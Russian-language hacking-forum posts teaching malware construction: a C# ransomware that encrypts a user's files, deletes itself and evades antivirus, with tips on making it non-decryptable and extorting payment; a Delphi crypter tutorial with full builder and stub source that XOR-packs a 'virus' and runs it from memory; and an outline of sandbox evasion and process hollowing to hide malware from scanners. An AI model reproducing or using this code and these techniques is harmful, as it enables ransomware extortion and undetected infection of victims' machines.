Доброго времени суток!
Сегодня я покажу как написать простой и уже опробованный в разных местах шифровальщик (не детектится антивирусами), который после завершения процесса сам себя удалит.
Писать будем на С#
Все исходники будут по ссылке ниже, но я и администрация форума предупреждают, что статья написана исключительно в ознакомительных целях и Вы несёте персональную ответственность по закону УК вашей страны за использование материалов из этой статьи в неправомерных целях.
Итак.
Шифрование будет обеспечено модулем, известным еще с моих предыдущих статей CryptoNote
Модуль Copy — открывающий файл и проводящий математические операции с каждым байтом. Очень шустрый. Его описание вы можете найти в тех же старых статьях.
Посмотреть вложение 13786
!!! Обратите внимание на комментарии. !!! Если хотите получить шифровальщик без возможности расшифровки — вместо decodeString используйте Random()-функцию и в дальнейшем уберите ветку (CoderMode==false) — она отвечает за расшифровку.
Поскольку данный экземпляр является примером, то давайте мы будем видеть, какие файлы у нас шифруются (на всякий случай). Для этого напишем модуль TraverseTree. Он умеет не только показывать файлы, но и переходить в директории и суб-директории. Этот модуль ответственный за перебор файлов.
Посмотреть вложение 13787
Принцип простой: устанавливаем текущую директорию и всё что нашли грузим в стэк. Потом по этому стеку считаем кол-во папок и файлов:
Посмотреть вложение 13788
Потом для каждого файла производим процедуру шифрования — выводим на экран список файлов, вызываем процедуру Copy:
Посмотреть вложение 13790
Также у нас присутствует модуль, удаляющий временные (tmp) файлы. Они могут появляться, если файл будет занят каким-либо иным процессом. Код этого модуля прост: получаем файлы в папке и в цикле удаляем по расширению *.tmp
Посмотреть вложение 13792
С модулями разобрались. Осталось заставить это дело работать. Переходим к Main-блоку.
В нем видим следующее:
Посмотреть вложение 13791
Закомментированная строка string result показывает как получить директорию Temp пользователя. Пригодится на будущее (в данный момент не используется).
Переменная curDir — будет содержать текущую папку и выведет её на экран. Эта фича для debug.
Закомментированная строка Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments); отсылает нас в MSND Environment.GetFolderPath — эта функция позволяет получить очень много интересных целей, т.е. можно задать параметр и программа зашифрует все файлы в MyDocuments пользователя, т.о. можно зашифровать вообще весь текущий профиль юзера.
Мы в качестве примера указали просто string CoderPath = @»C:usersadminDesktoptest»;
т.е. на рабочем столе пользователя admin есть папка test с неким содержимым. Этот параметр измените под себя, чтобы проверить!
Но вот мы добрались до строки, вызывающий некий модуль Odissey — это наш троянский конь, задача которого после шифрования удалить сам модуль, чтобы код не достался вирусным аналитикам или просто подозрительным лицам.
Принцип модуля Odissey — в нужную нам папку распаковать файл с именем DeleteMe.exe и запустить его.
Сам модуль deleteme «компилируется» на лету из массива (его также можно зашифровать)
Записывается он используя функцию File.WriteAllBytes(outputFilePath, bytesmass);
Массив выглядит примерно так:
public static byte[] bytesmass = { 0x4D,0x5A,0x90,0x0,0x3,0x0,0x0,0x0,0x4,0x0,0x0,0x0,0xFF…}
По-сути это хорошо известный шелл-код, как в эксплойтах.
Сам модуль DeleteMe был написан отдельно и представляет из себя такой код:
Посмотреть вложение 13793
Алгоритм такой: ждём несколько секунд пока завершится процесс шифрования и в папке, полученной при запуске программы, удаляем файл PackMan — так зовут нашего шифровальщика.
Скомпилированный код переведен в hex-опкоды отдельной утилитой, которая будет присутствовать отдельно (энтузиасты смогут найти её в теле PackMan). Утилиту OpcodeGen тоже поправьте под себя, т.к. в коде жестко зашита переменная для запуска.
Процесс работы выглядит примерно так:
в папке test у меня лежит несколько документов, которые прекрасно выглядят и читаются:
Посмотреть вложение 13794
Происходит запуск программы: сначала нам показывается папка, из которой мы запустили программу (в данном случае это было по F5 из VisualStudio), а потом нам показывается, над какими файлами уже поработал шифровальщик.
Посмотреть вложение 13795
В итоге текстовый файл у нас больше не читается:
ґ¤ќЈњўљ¤d њ“љ–ўdњd—џ–ЈЏ– њ‰џd•¤љџ’‰Jwzwz1?2.?2U
С картинками тоже самое:
Посмотреть вложение 13796
При этом размеры получившихся файлов не меняются.
Вот и весь процесс. Используя вполне простые и чистые механизмы можно написать весьма бойкую малварь, которая не будет детектится антивирусами (можно шифровать файлы, а потом брать деньги за расшифровку вполне легально, если подойти с умом. Но я вам этого не говорил)
На текущем этапе код вполне боеспособен, но как и всегда, чтобы его заставить работать, нужно отредактировать основные переменные. Иначе всё было бы слишком просто, а так у вас будет challenge
Вопросы пишите в комментарии
p.s. Да прибудет с вами сила и с наступающим Новым Годом!
(и в коде есть интересная ошибка. кто найдет — напишите
Привет, я вот-что подумал вечная делема, что победит лень или нездоровый интерес к чему-либо, в данном случае победил интерес, но речь сейчас не об этом !
Давно я хотел стырить у кого-нить код написать свой криптор, да и не просто криптор, а полиморфный и т.д. !
Но проблема в том, что мануалов с гулькин нос, в рунете практически нет, либо это голый код, прикалывают манулалы «Школоты», весь мануал это скопировать/вставить готовый код на каком-либо бейсике, при чём не разбираясь не в коде, не в сути и они считают что делают крутой криптор, гы-гы…
В общем-то, скажу я что написать простенький криптор не чуть не сложнее написания того-же Джойнера, читайте мою статью про Джойнер !
Что-то я отвлёкся, теперь по сути, долго я читал всякие мануалы, в основном в буржонете, что кстати не красит обилие наших хак. ресурсов, но и там никак понять немог нахуя как-же крутые Испанцы делают даже простенькие крипторы ?
Поняв что от статей толку мало для меня я начал анализировать исходники, благо умею и даже люблю читать иногда чужой код, если он более-менее нормально написан…
К сожалению (А может и к счастью) большинство крипторов пишут на бейсике, бейсик не знаю, далее идёт MicrosoftVisualC++, си мне ближе, но саму среду не знаю…
Остаётся что у нас, ассемблер – рано пока для меня, в этоге остаётся си билдер и делфи, на си билдере что-то исходников не нашёл, зато был у меня исходник протектора, да-да именно протектора, даже не криптора, причём этот протектор я нашёл на одном Испанском хак. сайте, давно хотел поковырять этот исходник, а сейчас как-раз предоставился такой шанс !
Что в этоге получил я, благодаря этому исходнику, мне получилось написать криптор на Делфи, не скажу что что-то супер получилось, но по крайне-мере теперь понятна суть и принцип…
В общем рискну написать мануал как-же создать свой криптор с нуля, пусть и на делфи, хотя думаю это ничуть не хуже тех-же бейсиков например !
В данном мануале как обычно ничего мега-сложного не будет, будет немного простого кода с комментариями и рассуждения как дальше жить, других-же качеств моих тем, надеюсь никто и не заметит !
Итак для начала поймём, что-же будет делать наш криптор:
1)Криптовать любой EXE-файл;
2)Не использовать доп. софт;
3)Запуск в памяти.
4)Криптор будет отчасти полиморфный, т.е. если закриптовать один и тот-же вирус, это будут разные файлы, почему-же отчастичитайте статью, потом объясню !
Как и в статье про Джойнер (кто читал) у нас будет две программы (Проекта):
1)Конструктор(Bulder) – Будет криптовать наш вирус, запихивать его в конец стаба,в общем-то и вся задача конструктора, имеет кстати ну просто изяшный интерфейс, я уже подал заявку на патент !
2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти, заметьте я не буду использовать в этой статье приёмы антиотладки, антиэмуляции и т.д., потому-что просто пока сам до этого не дошёл это во первых, а во вторых нам нужно уловить суть и написать совсем простецкий криптор.
1)Итак начнём с простого, с конструктора, как-обычно создаём проект делфи…
Начинаем кодить, также я расскажу суть, что должен делать конструктор и как реализовать…
Всё ну ОЧЕНЬ просто, конструктор записывает в конец нашего стаба зашифрованный вирус, теперь как реализовать ?
Реализовать ещё проще, помните наш Джойнер (Моя статья про Джойнер) ?
Если-да, то забудьте про него, там я так коряво всё реализовал, что даже стыдно стало, но да-ладно…
Читайте новый способ, реализации:
1)Считываем все данные из стаба в строку (Переменная типа String);
2)Шифруем эти данные (В данном случае XOR);
3)Далее заводим специальную стринговскую переменную, я завёл константу (Const
Del = ‘Pizda’;), что будет делать наша «Пизда», всё очень просто разделять нужные нам данные, сейчас поясню, в этоге мы получим такую строку данных:
FailCrypt=Stub + Del + Key + Del + CryptVirus;
-Где:
FailCrypt – Это сигнатура (String), которую мы запишем на диск, т.е. это и есть выходной файл !
Stub – Наш стаб, это и есть загрузчик, который будет расшифровывать и запускать наш вирус;
Del – Наша «Пизда» которая разделит, т.е. даст понять нам, что следующий элемент в данном случае ключ для расшифровки;
Далее идёт ключ для расшифровки , потом разделитель и уже наш зашифрованный вирус !
Я не знаю понятно-нет ?
Но в стабе я покажу как разделять эти данные, тогда уже точно должно-быть понятно для чего-же придумали «Пизду» гы-гы-гы !
Итак немного прокомментирую код, но не весь, как обычно более подробно можете глянуть во вложении…
Начну с основной программы:
Кнопка «СТАРТ»:
[SRC]
procedure TForm1.Button2Click(Sender: TObject);
var
Stub: string;
FileNameVirus: string; //Наш закриптованный вирус !!!!!!!!!!!!
Key: string;
CryptFile: string;
Const
Del = ‘Pizda’; //Это для разделения стаба, ключа и зашифрованного файла в данных
begin
Stub:= extractfilepath(paramstr(0)) + ‘stub.exe’; //Открываем наш стаб
if not fileexists(stub) then exit; //Если не хуя не открылось то выходим…
Stub:= mfiletostr(stub); //Считываем наш стаб
Key:= ‘Fucking’; // Это наш ключ, гы-гы !
FileNameVirus:= edit1.Text; //Получаем путь до вируса, которого нужно криптонуть
if not fileexists(FileNameVirus) then exit; //Если нет пути, то выходим
FileNameVirus:= mfiletostr(FileNameVirus);//Считываем данные из файла вируса, для того-чтобы криптонуть
FileNameVirus:= xorizo(FileNameVirus, Key); //Криптуем эти данные с ключом Key
CryptFile:= Stub + Del + Key + Del + FileNameVirus; //Получаем Стаб + криптованный мусор
if savedialog1.Execute then
begin
mwritefilefromstr(CryptFile, savedialog1.FileName + ‘.exe’); //Здесь записываем это всё на диск, т.е. получаем в результате криптованный файл
showmessage(‘Закриптовалось !!!’);
end else
begin
showmessage(‘Что-то эа херь не сработала !’);
end;
end;
В основной программе я использовал самописные вспомогательные процедуры:
[/SRC]
1) Процедура считывает наш файл, получает FileName – это путь до файла, возвращает строку данных из файла:
[SRC]
Function mFileToStr(FileName: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
uBytes:= GetFileSize(sFile, nil); //Получаем его размер
SetLength(Result, uBytes); // Устанавливаем размер равный нашему файлу (Result).
_lread(sfile, @reSult[1], uBytes); // Считываем данные из файла в result
_lclose(sFile);
end;
[/SRC]
2) Процедура записывает в наш файл данные, данные которые нужно записать будут в строке в формате String:
[SRC]
Procedure mWriteFileFromStr(data, FileName: string);
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lcreat(PChar(FileName), 0); //Открываем файл
uBytes:= Length(data); //Получаем длинну наших данных
_lwrite(sFile, Data[1], uBytes); //Записываем данные в файл
_lclose(sFile);
end;
[/SRC]
3)Процедура шифрования Xor:
[SRC]
Function XORizo(Text, Pass: string): string;
var
i, p: integer;
Res: string;
begin
p:= 1;
for i:= 1 to Length(Text) do
begin
Res:= Res + Chr((Ord(Text) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
inc(p);
if p > Length(Pass) then p:= 1;
end;
SetLength(Result, Length(Res));
Result:= Res;
end;
[/SRC]
2)Ну вот и добрались до стаба:
Создаём новый проект, выкидываем форму и прочее лабуду, т.к. чем меньше будет размер нашего стаба, тем лучше…
Разберёмся что делает стаб:
1)Считывает сам себя и получает данные в строке String:
[SRC]FailCrypt=Stub + Del + Key + Del + CryptVirus; [/SRC]
-Где:
Stub-Код нашего загрузчика;
Del – наш разделитель, вспомнили «Пизду» !
Key – ключ для шифрования;
CryptVirus – Наш закриптованный вирус.
Этот способ кстати позволяет избежать статического задания размера стаба, вспомните опять-же мою статью про Джойнер !
2)Далее нам нужно расшифровать в память наш вирус CryptVirus, с ключом Key
3)Запуск в памяти, а вот тут-то самый смак, взял я специальную процедурку из исходника протектора
Процедурка большая, если интересно глянете исходник, думаю смысла нет его конкретно здесь анализировать, скажу-лишь как её юзать и поехали:
Всё просто:
[SRC]memoryexecute(@FileCrypt[1], », true);[/SRC]
ГДЕ:
@FileCrypt[1] – Указатель на строку данных нашего вируса;
‘’ – параметры запуска, я оставил пустые кавычки;
True – Обычный запуск, если будет FALSE– то будет скрытый запуск…
Можете поэксперементировать с этой процедуркой !
Теперь перейдём к коду нашего стаба:
1)Основная программа:
[SRC]
//***Основная программа*********************************************************
var
StubData: string;//Данные из стаба
FileCrypt: string; //Наш закриптованный вирус
Key: string; //Ключ для расшифровки XOR
TodoArray: TSArray;//Наш массив данных, который мы должны получить (Stub+Key+FileCrypt)
const
Delimitador: widestring = ‘Pizda’; //Наш разделитель !
begin
StubData:= mfiletostr(paramstr(0)); //Открываем сами себя и считываем данные в StubData, т.е. получаем строку из данных
TodoArray:= splitmetal(StubData, Delimitador); // Удаляем из этих данных разделитель Delimitador, что-бы получить читаемый массив и обращаться по эллементам !
Key:= TodoArray[1]; // В массиве: stub = 0-й эллемент; key = 1-ый эллемент; FileCrypt = 2-ый эллемент
FileCrypt:= TodoArray[2]; //Это мы получили строку данных нашего закриптованного вируса, нужно его рсшифровать с ключом Key
FileCrypt:= xorizo(FileCrypt, key);//Расшифровываем
memoryexecute(@FileCrypt[1], », true); //А вот эта функция запускает наш вирус из памяти !
end.
//******************************************************************************
[/SRC]
Немного правда ?
Я постарался сократить !
Я использовал самописные процедуры, про все я уже сказал в статье, остановлюсь лишь на одной:
Пришло время рассказать ещё раз про «Пизду», как-же разделить из кучи инфы нужные нам элементы ?
И опять-таки ничего сложного в этой задаче нет, вот процедурка:
В этой функции удаляем Delimitador, т.е. разделитель, что-бы получить читаемый массив и обращаться по эллементам (На выходе получим такой массив) !
[SRC]
function SplitMetal(Texto, Delimitador: string): TSarray;
var
o: integer;
PosDel: integer;
Aux: string;
begin
o := 0;
Aux := Texto;
setlength(Result, length(Aux));
repeat
PosDel := Pos(Delimitador, Aux) — 1;
if PosDel = -1 then
begin
Result[o] := Aux;
break;
end;
Result[o] := copy(Aux, 1, PosDel);
delete(Aux, 1, PosDel + length(Delimitador));
inc(o);
until Aux = »;
end;
[/SRC]
ГДЕ: Texto – Это прочитанные данные;
Delimitador – Это наша «Пизда»
Функция разделяет по строке Delimitador наши данные по элементам, потом мы можем спокойно обращаться к ним !
В этоге получим такой массив строк:
FailCrypt=Stub+Key+VirusCrypt
А потом можем обращаться к данным так:
FailCrypt[0]-Это наш стаб;
FailCrypt[1] – Это наш ключ для расшифровки;
FailCrypt[2] – Это наш закриптованный вирус;
Вроде всё, устал писать статью, надеюсь она поможет кому, будут вопросы задавайте с радостью отвечу !
Все исходники во вложении, пароль:111 !
И ещё про полиморфизм и детект:
Что-бы сделать криптор полиморфным можно как вариант, каждый раз задавать разный ключ для шифровки Key, у меня задаётся статически в исходниках, реализация этого функционала ложится на вас в билдере, гы-гы !
Теперь про детект, давайте подумаем какие средства антиотладки и антиэмуляции можно сюда внедрить что-бы вирус не палился при запуске…
Сейчас здесь ничего не реализовано в этом плане, поэтому рискну предположить, что будет детектить эвристика и спалится при запуске в памяти !
Скачать можно из вложения.
Пароль:
Интересно как сейчас аверы реагируют на крипторы ?
Немножко для тех-кто в «танке»:
1)Конструктор(Bulder)
– Будет криптовать наш вирус, запихивать его в конец стаба, в общем-то и вся задача конструктора, имеет как-правило GUI — интерфейс, для упрощения создания «обработанного вируса»!
2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти. Часто в стабе реализованны различные приёмы антиотладки, антиэмуляции. В идеале хорошо, если в каждом новом билде «обработанного вируса» был-бы изменённый стаб.
Сделать это можно, например если в креаторе использовать «Генератор мусора — В стаб добавляются не влияющие на исполнение и поведение программы инструкции, либо генерируется немного изменённый код стаба в каждом билде».
Ещё рекомендую прочесть, кто в «танке»:Ещё раз про джойнеры, крипторы, стабы и прочую хрень
А теперь основная часть поста:
Кто-нить знает, что будет, если сделать так, методология простого криптора:
Берём вирус, который детектят 64/64, далее конструктором (Тупо форма или консоль) считываем его как массив байт кодов, получится массив байт, далее шифруем его, пусть простой алгос шифрования (Например XOR) c ключом А.
Ключь А — Это у нас будет результат какой-то функции, ну или например можно сделать алгоритм получения нашего ключа в стабе (Пример ниже по тексту).
Далее это всё дело запихиваем в стаб, либо ниже стаба, либо в ресурсы, даже незнаю что лучше ?
Далее если идёт запуск стаба, мы проверяем следующее:
1) Запустил-ли юзер вирус, или используется виртуалка:
Сделать это можно например так (самое простое), например поставить хук на клавиатуру и в бесконечном цикле ждать пока кто-то не нажмёт клавишу, или не шивильнёт мышку, или не нажмёт на клавишу мышки, если событие произошло, значит мы не-под виртуалкой, идём в шаг 2)
2)Шаг два нужно получить наш ключ расшифровки, как это сделать ?
Самое простое, написать простую функцию например, то-что делается выше, если мы под виртуалкой аверов, то будем генерировать число 0xAA, а если мы не под виртуалкой, то сгенерим 0x55 (0x55 и будет наш ключ расшифровки).
Можно в качестве ключа использовать значение какой-то API, главное что-бы не было заметно что-это ключ !
3)Третий шаг, считываем из ресурсов, или то-что ниже стаба, наш шифрованный массив байт.
4)Четвёртый шаг, расшифровываем его, с тем-же ключом (XOR обратный алгос шифрование, что-бы расшифровать, нужно проделать то-же, что и при шифровании с тем-же ключом :)).
5)Далее самое интересное и сложное, нужно запустить вирус в памяти, есть уже готовые функции и методы, на разных языках, но смысл везде примерно такой:
Нужно «порадить новый процесс», как это сделать:
— Например при помощи API — винды CreateProcess, создать процесс;
— Выделить для него память, при помощи VirtualAllocEx;
— Записываем наш расшифрованный вирус (Расшифрованный массив байт) в выделенную область памяти при помощи WriteProcessMemory.
— Далее нужно установить контектс потока, при помощи SetThreadContext и запустить его при помощи ResumeThread.
Вообще это всё реализовано, практически в любом исходнике криптора, пример тут PE-Crypter/runPE.h at master · jozemberi/PE-Crypter · GitHub или на хабре даже есть: Запуск программы из памяти / Песочница / Хабрахабр
Или у нас на Делфи:ВАЖНО — Делаем криптор вместе
Вот вам и алгоритм простого криптора, НО без антиэмуляции, в качестве антиэмуляции тут «Проверка на запуск под виртуальной машины АВ, и-то примитив», понятно что для уменьшения детекта, процедуру расшифровки и запуска в памяти нужно как-то маскировать, что-бы антивирусный сканер до неё не добрался !
Кто-нить использовал это, как современные антивирусы реагируют на такое ?
Если не будет лень и время, то следующая часть реализация этого всего на Visual C++, плюс продумать методы антиэмуляции и генерации ключа, отписывайтесь если есть что сказать ?